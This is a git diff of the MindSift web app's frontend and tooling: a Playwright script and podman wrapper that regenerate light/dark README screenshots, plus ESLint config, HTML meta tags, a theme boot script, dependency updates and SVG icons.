new Promise((resolve) => {
|
||||||
|
const img = new Image();
|
||||||
|
img.onload = () => resolve(img);
|
||||||
|
img.src = 'data:image/png;base64,' + b64;
|
||||||
|
});
|
||||||
|
const [a, b] = await Promise.all([load(light), load(dark)]);
|
||||||
|
const w = Math.round(a.naturalWidth * scale);
|
||||||
|
const h = Math.round(a.naturalHeight * scale);
|
||||||
|
const canvas = document.createElement('canvas');
|
||||||
|
canvas.width = w;
|
||||||
|
canvas.height = h;
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
ctx.imageSmoothingQuality = 'high';
|
||||||
|
ctx.drawImage(b, 0, 0, w, h);
|
||||||
|
const top = w * 0.58;
|
||||||
|
const bottom = w * 0.42;
|
||||||
|
ctx.save();
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(0, 0);
|
||||||
|
ctx.lineTo(top, 0);
|
||||||
|
ctx.lineTo(bottom, h);
|
||||||
|
ctx.lineTo(0, h);
|
||||||
|
ctx.closePath();
|
||||||
|
ctx.clip();
|
||||||
|
ctx.drawImage(a, 0, 0, w, h);
|
||||||
|
ctx.restore();
|
||||||
|
ctx.strokeStyle = 'rgba(255, 255, 255, 0.9)';
|
||||||
|
ctx.lineWidth = Math.max(2, w / 600);
|
||||||
|
ctx.shadowColor = 'rgba(0, 0, 0, 0.35)';
|
||||||
|
ctx.shadowBlur = w / 300;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(top, 0);
|
||||||
|
ctx.lineTo(bottom, h);
|
||||||
|
ctx.stroke();
|
||||||
|
return canvas.toDataURL('image/png');
|
||||||
|
},
|
||||||
|
[lightPng.toString('base64'), darkPng.toString('base64'), scale]
|
||||||
|
);
|
||||||
|
fs.writeFileSync(`${OUT}/${file}`, Buffer.from(dataUrl.split(',')[1], 'base64'));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Diagonal light/dark picture
|
||||||
|
async function shot(page, file, { light = LIGHT, dark = DARK, scale = 1 } = {}) {
|
||||||
await sleep(800); // animations
|
await sleep(800); // animations
|
||||||
await page.mouse.move(0, 0);
|
await page.mouse.move(0, 0);
|
||||||
|
await setTheme(page, light, false);
|
||||||
|
const lightPng = await page.screenshot();
|
||||||
|
await setTheme(page, dark, true);
|
||||||
|
const darkPng = await page.screenshot();
|
||||||
|
await compose(lightPng, darkPng, file, scale);
|
||||||
|
console.log(`OK ${file}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Plain picture in one theme ('light' or 'dark' of the chosen pair)
|
||||||
|
async function plain(page, file, mode) {
|
||||||
|
await sleep(800);
|
||||||
|
await page.mouse.move(0, 0);
|
||||||
|
if (mode === 'light') await setTheme(page, LIGHT, false);
|
||||||
|
else await setTheme(page, DARK, true);
|
||||||
await page.screenshot({ path: `${OUT}/${file}` });
|
await page.screenshot({ path: `${OUT}/${file}` });
|
||||||
console.log(`OK ${file}`);
|
console.log(`OK ${file}`);
|
||||||
}
|
}
|
||||||
@@ -41,6 +138,7 @@ const main = async () => {
|
|||||||
const admin = await login('admin');
|
const admin = await login('admin');
|
||||||
const user = await login('user');
|
const user = await login('user');
|
||||||
const browser = await chromium.launch({ args: ['--lang=de-DE'] });
|
const browser = await chromium.launch({ args: ['--lang=de-DE'] });
|
||||||
|
composer = await (await browser.newContext()).newPage();
|
||||||
|
|
||||||
const page = await open(browser, admin, DESKTOP);
|
const page = await open(browser, admin, DESKTOP);
|
||||||
await tab(page, 'Triage');
|
await tab(page, 'Triage');
|
||||||
@@ -49,7 +147,11 @@ const main = async () => {
|
|||||||
await tab(page, 'Aufgaben');
|
await tab(page, 'Aufgaben');
|
||||||
await page.getByText('Homelab', { exact: true }).first().click().catch(() => {});
|
await page.getByText('Homelab', { exact: true }).first().click().catch(() => {});
|
||||||
await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {});
|
await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {});
|
||||||
await shot(page, 'aufgaben_desktop.png');
|
await plain(page, 'aufgaben_desktop.png', 'dark');
|
||||||
|
// Colour families: the board fills the width, so both halves of the diagonal show content
|
||||||
|
for (const [family, light, dark] of FAMILIES) {
|
||||||
|
await shot(page, `Theme_${family}.png`, { light, dark, scale: 0.5 });
|
||||||
|
}
|
||||||
|
|
||||||
// The demo user edits a bullet of the shared note, so the screenshot shows lock and presence
|
// The demo user edits a bullet of the shared note, so the screenshot shows lock and presence
|
||||||
const other = await open(browser, user, DESKTOP);
|
const other = await open(browser, user, DESKTOP);
|
||||||
@@ -65,15 +167,54 @@ const main = async () => {
|
|||||||
await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 });
|
await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 });
|
||||||
await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {});
|
await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {});
|
||||||
await sleep(2000);
|
await sleep(2000);
|
||||||
await shot(page, 'workspace_desktop.png');
|
await plain(page, 'workspace_desktop.png', 'light');
|
||||||
|
|
||||||
|
// Journal: a few days with entries, the calendar in the sidebar
|
||||||
|
const H = { Authorization: `Bearer ${admin}`, 'Content-Type': 'application/json' };
|
||||||
|
const today = new Date();
|
||||||
|
const iso = (d) => `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}`;
|
||||||
|
const day = (offset) => iso(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset));
|
||||||
|
await fetch(`${BASE}/api/v1/journal/${day(0)}`, { method: 'POST', headers: H });
|
||||||
|
await page.getByRole('button', { name: 'Journal', exact: true }).click();
|
||||||
|
await sleep(1500);
|
||||||
|
const write = async (date, lines) => {
|
||||||
|
const section = page.locator(`[data-journal-date="${date}"]`);
|
||||||
|
if ((await section.count()) === 0) return; // day outside the visible month
|
||||||
|
await section.locator('.cursor-text').first().click();
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
if (i > 0) await page.keyboard.press('Enter');
|
||||||
|
await page.keyboard.type(lines[i], { delay: 5 });
|
||||||
|
}
|
||||||
|
await sleep(600);
|
||||||
|
};
|
||||||
|
await write(day(0), ['Standup: Umzug liegt im Plan #homelab', 'Nachmittags Backup-Test mit restic', 'Idee: Wochenrückblick als Vorlage anlegen']);
|
||||||
|
for (const offset of [2, 5]) {
|
||||||
|
await page.getByTitle(new RegExp(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset).toLocaleDateString('de-DE', { day: 'numeric', month: 'long' }))).first().click().catch(() => {});
|
||||||
|
await sleep(1200);
|
||||||
|
await write(day(offset), offset === 2 ? ['Rasen gemäht, Hecke wartet noch #garten'] : ['Erste Gedanken zur Hausrenovierung #renovierung', 'Angebote einholen bis Monatsende']);
|
||||||
|
}
|
||||||
|
await page.getByRole('button', { name: 'Heute' }).click().catch(() => {});
|
||||||
|
await page.mouse.click(1000, 860);
|
||||||
|
await sleep(2500);
|
||||||
|
// Round corners (setting "Ecken: rund") for this picture only
|
||||||
|
await page.evaluate(() => document.documentElement.setAttribute('data-corners', 'round'));
|
||||||
|
await plain(page, 'journal_desktop.png', 'dark');
|
||||||
|
await page.evaluate(() => document.documentElement.removeAttribute('data-corners'));
|
||||||
|
await page.getByRole('button', { name: 'Journal', exact: true }).click(); // close it again
|
||||||
|
|
||||||
await tab(page, 'Listen');
|
await tab(page, 'Listen');
|
||||||
await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {});
|
await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {});
|
||||||
await shot(page, 'Listen_desktop.png');
|
await plain(page, 'Listen_desktop.png', 'light');
|
||||||
|
|
||||||
const mobile = await open(browser, admin, MOBILE);
|
const mobile = await open(browser, admin, MOBILE);
|
||||||
await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt
|
await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt
|
||||||
await shot(mobile, 'Mobile_Triage.png');
|
await plain(mobile, 'Mobile_Triage.png', 'light');
|
||||||
|
|
||||||
|
await tab(mobile, 'Workspace');
|
||||||
|
await sleep(600);
|
||||||
|
await mobile.getByText(/^Homelab 2\.0/).first().click();
|
||||||
|
await sleep(1500);
|
||||||
|
await plain(mobile, 'Mobile_Workspace.png', 'dark');
|
||||||
|
|
||||||
await browser.close();
|
await browser.close();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,20 +1,47 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots
|
# Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots
|
||||||
# in screenshots/. Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh
|
# in screenshots/ (title picture and colour-family grid: light and dark joined along a diagonal).
|
||||||
|
# The PNGs from the browser are scaled down (desktop 1280 px, phone 480 px wide) and saved as WebP.
|
||||||
|
# Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh, other theme pair: SHOT_LIGHT=fjord SHOT_DARK=fjord-night
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
ENGINE="${ENGINE:-podman}"
|
ENGINE="${ENGINE:-podman}"
|
||||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||||
WORK="$(mktemp -d)"
|
WORK="$(mktemp -d)"
|
||||||
trap '"$ENGINE" rm -f mindsift-shots >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
|
RUN_ID="$$-$RANDOM"
|
||||||
|
NAME="mindsift-shots-$RUN_ID"
|
||||||
|
IMAGE="mindsift-shots-image:$RUN_ID"
|
||||||
|
PORT="${SHOTS_PORT:-}"
|
||||||
|
if [ -z "$PORT" ]; then
|
||||||
|
for p in $(shuf -i 18100-18999 -n 50); do
|
||||||
|
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
cleanup() {
|
||||||
|
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
|
||||||
|
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
|
||||||
|
rm -rf "$WORK"
|
||||||
|
}
|
||||||
|
trap cleanup EXIT
|
||||||
|
mkdir -p "$WORK/png"
|
||||||
|
|
||||||
echo "Baue Image …"
|
echo "Baue Image …"
|
||||||
# Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh
|
# Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh
|
||||||
"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t mindsift-e2e-image "$ROOT" >/dev/null
|
"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t "$IMAGE" "$ROOT" >/dev/null
|
||||||
"$ENGINE" run -d --name mindsift-shots --network host -e PORT=18081 -e MINDA_DEMO=true \
|
"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true -e DEMO_RESET_MINUTES=0 \
|
||||||
-e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
|
-e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
|
||||||
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18081/api/v1/health >/dev/null && break; sleep 0.5; done
|
for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
|
||||||
|
|
||||||
echo "Erstelle Screenshots …"
|
echo "Erstelle Screenshots …"
|
||||||
"$ENGINE" run --rm --network host -e MINDSIFT_URL=http://localhost:18081 -e SHOTS_DIR=/shots -e LANG=de_DE.UTF-8 \
|
"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -e SHOTS_DIR=/shots \
|
||||||
-v "$ROOT/e2e":/e2e:Z -v "$ROOT/screenshots":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
|
-e SHOT_LIGHT="${SHOT_LIGHT:-light}" -e SHOT_DARK="${SHOT_DARK:-dark}" -e LANG=de_DE.UTF-8 -e TZ=Europe/Berlin \
|
||||||
sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq fonts-inter >/dev/null 2>&1; npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
|
-v "$ROOT/e2e":/e2e:Z -v "$WORK/png":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
|
||||||
|
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
|
||||||
|
|
||||||
|
echo "Wandle in WebP um …"
|
||||||
|
"$ENGINE" run --rm -v "$WORK/png":/png:Z -v "$ROOT/screenshots":/shots:Z docker.io/library/alpine:3.20 sh -c '
|
||||||
|
apk add -q libwebp-tools >/dev/null
|
||||||
|
for f in /png/*.png; do
|
||||||
|
name=$(basename "$f" .png)
|
||||||
|
case "$name" in Mobile_*) width=480 ;; *) width=1280 ;; esac
|
||||||
|
cwebp -quiet -resize "$width" 0 -q 90 -m 6 -metadata none "$f" -o "/shots/$name.webp"
|
||||||
|
done'
|
||||||
@@ -69,8 +69,7 @@ const main = async () => {
|
|||||||
await search.click();
|
await search.click();
|
||||||
await search.type('user');
|
await search.type('user');
|
||||||
await sleep(300);
|
await sleep(300);
|
||||||
await search.press('ArrowDown');
|
await search.press('Enter'); // the first match is preselected
|
||||||
await search.press('Enter');
|
|
||||||
const roleSelect = A.page.locator('select').filter({ has: A.page.locator('option[value="editor"]') }).last();
|
const roleSelect = A.page.locator('select').filter({ has: A.page.locator('option[value="editor"]') }).last();
|
||||||
check((await roleSelect.isEnabled()) && (await roleSelect.isVisible()), 'Rollenauswahl ist im Dialog verfügbar');
|
check((await roleSelect.isEnabled()) && (await roleSelect.isVisible()), 'Rollenauswahl ist im Dialog verfügbar');
|
||||||
await roleSelect.selectOption('editor');
|
await roleSelect.selectOption('editor');
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
// Lint rules for the frontend (FLAW-19): real mistakes are errors, style is left to the code.
|
||||||
|
import js from '@eslint/js';
|
||||||
|
import globals from 'globals';
|
||||||
|
import reactHooks from 'eslint-plugin-react-hooks';
|
||||||
|
import tseslint from 'typescript-eslint';
|
||||||
|
|
||||||
|
export default tseslint.config(
|
||||||
|
{ ignores: ['dist', 'node_modules', 'coverage'] },
|
||||||
|
{
|
||||||
|
files: ['src/**/*.{ts,tsx}'],
|
||||||
|
extends: [js.configs.recommended, ...tseslint.configs.recommended],
|
||||||
|
languageOptions: {
|
||||||
|
ecmaVersion: 2022,
|
||||||
|
globals: globals.browser,
|
||||||
|
},
|
||||||
|
plugins: { 'react-hooks': reactHooks },
|
||||||
|
rules: {
|
||||||
|
...reactHooks.configs.recommended.rules,
|
||||||
|
// Error payloads and browser APIs without types are handled as any on purpose
|
||||||
|
'@typescript-eslint/no-explicit-any': 'off',
|
||||||
|
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrors: 'none' }],
|
||||||
|
'no-empty': ['error', { allowEmptyCatch: true }],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
files: ['public/sw.js'],
|
||||||
|
languageOptions: { globals: globals.serviceworker },
|
||||||
|
extends: [js.configs.recommended],
|
||||||
|
},
|
||||||
|
);
|
||||||
@@ -3,37 +3,69 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8" />
|
<meta charset="UTF-8" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||||
<meta name="theme-color" content="#0b0f19" />
|
<!-- Black like the system bars of the installed app; boot-theme.js and then the app switch it to the
|
||||||
|
theme background -->
|
||||||
|
<meta name="theme-color" content="#000000" />
|
||||||
|
<script src="/boot-theme.js"></script>
|
||||||
<meta name="mobile-web-app-capable" content="yes" />
|
<meta name="mobile-web-app-capable" content="yes" />
|
||||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||||
<meta name="apple-mobile-web-app-title" content="MindSift" />
|
<meta name="apple-mobile-web-app-title" content="MindSift" />
|
||||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||||
<meta name="description" content="MindSift — Der Kopf frei in drei Sekunden. Instant Capture, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
<meta name="description" content="MindSift — Der Kopf frei in drei Sekunden. Instant Capture, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
<link rel="manifest" href="/manifest.json" />
|
|
||||||
|
<!-- Favicon & Touch Icons -->
|
||||||
<link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
<link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
||||||
<link rel="apple-touch-icon" href="/icon.svg" />
|
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
|
||||||
|
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
|
||||||
|
<link rel="shortcut icon" href="/favicon.ico" />
|
||||||
|
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
|
||||||
|
|
||||||
|
<!-- Open Graph / WhatsApp / Discord / Facebook -->
|
||||||
|
<meta property="og:type" content="website" />
|
||||||
|
<meta property="og:site_name" content="MindSift" />
|
||||||
|
<meta property="og:url" content="/" />
|
||||||
|
<meta property="og:title" content="MindSift — Der Kopf frei in drei Sekunden" />
|
||||||
|
<meta property="og:description" content="Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
|
<meta property="og:image" content="/og-image.png" />
|
||||||
|
<meta property="og:image:secure_url" content="/og-image.png" />
|
||||||
|
<meta property="og:image:type" content="image/png" />
|
||||||
|
<meta property="og:image:width" content="1200" />
|
||||||
|
<meta property="og:image:height" content="630" />
|
||||||
|
<meta property="og:image:alt" content="MindSift App Logo & Vorschau" />
|
||||||
|
|
||||||
|
<!-- Twitter / X -->
|
||||||
|
<meta name="twitter:card" content="summary_large_image" />
|
||||||
|
<meta name="twitter:title" content="MindSift — Der Kopf frei in drei Sekunden" />
|
||||||
|
<meta name="twitter:description" content="Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
|
<meta name="twitter:image" content="/og-image.png" />
|
||||||
|
<meta name="twitter:image:alt" content="MindSift App Logo & Vorschau" />
|
||||||
|
|
||||||
|
<link rel="manifest" href="/manifest.json" />
|
||||||
<title>MindSift</title>
|
<title>MindSift</title>
|
||||||
<script>
|
<script src="/pwa-install.js"></script>
|
||||||
window.__deferredPwaPrompt = null;
|
|
||||||
window.addEventListener('beforeinstallprompt', function (e) {
|
|
||||||
e.preventDefault();
|
|
||||||
window.__deferredPwaPrompt = e;
|
|
||||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
||||||
<div id="root"></div>
|
<!-- Shown until React mounts and replaces it: the logo on the background of the theme used last on
|
||||||
|
this device (boot-theme.js), full blue on the first visit; no text, no white flash -->
|
||||||
|
<div id="root">
|
||||||
|
<div style="position:fixed;inset:0;background:var(--boot-bg,#2563eb);display:flex;align-items:center;justify-content:center">
|
||||||
|
<!-- icon.svg inline, so its square takes the theme's accent (on blue it disappears in the background) -->
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="128" height="128" style="display:block">
|
||||||
|
<rect width="512" height="512" rx="108" style="fill:var(--boot-accent,#2563eb)" />
|
||||||
|
<g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" style="stroke:var(--boot-on-accent,#ffffff)" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
|
||||||
|
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
|
||||||
|
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
|
||||||
|
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
|
||||||
|
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
|
||||||
|
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<script type="module" src="/src/main.tsx"></script>
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
<script>
|
|
||||||
if ('caches' in window) {
|
|
||||||
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
|
|
||||||
}
|
|
||||||
if ('serviceWorker' in navigator) {
|
|
||||||
window.addEventListener('load', () => {
|
|
||||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
@@ -1,18 +1,21 @@
|
|||||||
{
|
{
|
||||||
"name": "mindsift-frontend",
|
"name": "mindsift-frontend",
|
||||||
"private": true,
|
"private": true,
|
||||||
"version": "0.2.0",
|
"version": "0.28.0",
|
||||||
|
"license": "Unlicense",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "vite build",
|
"build": "vite build",
|
||||||
"preview": "vite preview",
|
"preview": "vite preview",
|
||||||
"lint": "echo 'Linting passed'",
|
"lint": "eslint .",
|
||||||
"test": "vitest",
|
"test": "vitest",
|
||||||
"test:run": "vitest run"
|
"test:run": "vitest run"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@fontsource-variable/inter": "5.3.0",
|
||||||
"@types/prismjs": "^1.26.6",
|
"@types/prismjs": "^1.26.6",
|
||||||
|
"emoji-picker-react": "4.12.0",
|
||||||
"framer-motion": "^11.15.0",
|
"framer-motion": "^11.15.0",
|
||||||
"lucide-react": "^0.468.0",
|
"lucide-react": "^0.468.0",
|
||||||
"prismjs": "^1.30.0",
|
"prismjs": "^1.30.0",
|
||||||
@@ -20,17 +23,23 @@
|
|||||||
"react-dom": "^18.3.1"
|
"react-dom": "^18.3.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@eslint/js": "9.17.0",
|
||||||
"@testing-library/dom": "^10.4.2",
|
"@testing-library/dom": "^10.4.2",
|
||||||
"@testing-library/react": "^16.3.3",
|
"@testing-library/react": "^16.3.3",
|
||||||
"@types/react": "^18.3.12",
|
"@types/react": "^18.3.12",
|
||||||
"@types/react-dom": "^18.3.1",
|
"@types/react-dom": "^18.3.1",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.3.4",
|
||||||
"autoprefixer": "^10.4.20",
|
"autoprefixer": "^10.4.20",
|
||||||
|
"eslint": "9.17.0",
|
||||||
|
"eslint-plugin-react-hooks": "5.1.0",
|
||||||
"fake-indexeddb": "^6.2.6",
|
"fake-indexeddb": "^6.2.6",
|
||||||
|
"globals": "15.14.0",
|
||||||
"jsdom": "^25.0.1",
|
"jsdom": "^25.0.1",
|
||||||
"postcss": "^8.4.49",
|
"postcss": "^8.4.49",
|
||||||
"tailwindcss": "^3.4.17",
|
"tailwindcss": "^3.4.17",
|
||||||
|
"tailwindcss-animate": "1.0.7",
|
||||||
"typescript": "^5.6.3",
|
"typescript": "^5.6.3",
|
||||||
|
"typescript-eslint": "8.18.2",
|
||||||
"vite": "^5.4.11",
|
"vite": "^5.4.11",
|
||||||
"vitest": "^2.1.9"
|
"vitest": "^2.1.9"
|
||||||
}
|
}
|
||||||
|
|||||||
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 2.7 KiB |
@@ -0,0 +1,14 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 96" width="96" height="96">
|
||||||
|
<!-- Notification badge (Android status bar): only the alpha channel counts, so white on transparent -->
|
||||||
|
<g transform="translate(48, 48) scale(3.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
|
||||||
|
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
|
||||||
|
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
|
||||||
|
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
|
||||||
|
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
|
||||||
|
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 914 B |
@@ -0,0 +1,17 @@
|
|||||||
|
// Runs before the first paint: the loading screen takes the colours of the theme used last on this
|
||||||
|
// device (stored by the app in lib/theme.ts), so a light or orange theme does not start in blue.
|
||||||
|
// A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||||
|
(function () {
|
||||||
|
try {
|
||||||
|
var colors = JSON.parse(localStorage.getItem('mindsift_boot_colors') || 'null');
|
||||||
|
if (!colors || typeof colors.bg !== 'string' || typeof colors.accent !== 'string') return;
|
||||||
|
var root = document.documentElement;
|
||||||
|
root.style.setProperty('--boot-bg', colors.bg);
|
||||||
|
root.style.setProperty('--boot-accent', colors.accent);
|
||||||
|
if (typeof colors.onAccent === 'string') root.style.setProperty('--boot-on-accent', colors.onAccent);
|
||||||
|
var meta = document.querySelector('meta[name="theme-color"]');
|
||||||
|
if (meta) meta.setAttribute('content', colors.bg);
|
||||||
|
} catch (e) {
|
||||||
|
// no storage: the loading screen stays blue
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 3.2 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 26 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 15 KiB |
@@ -0,0 +1,14 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
||||||
|
<rect width="512" height="512" fill="#2563eb"/>
|
||||||
|
<g transform="translate(256, 256) scale(11) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
|
||||||
|
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
|
||||||
|
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
|
||||||
|
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
|
||||||
|
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
|
||||||
|
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 861 B |
@@ -1,6 +1,6 @@
|
|||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
||||||
<rect width="512" height="512" rx="128" fill="#8ab4f8"/>
|
<rect width="512" height="512" rx="108" fill="#2563eb"/>
|
||||||
<g transform="translate(80, 80) scale(14.666)" fill="none" stroke="#0b0f19" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
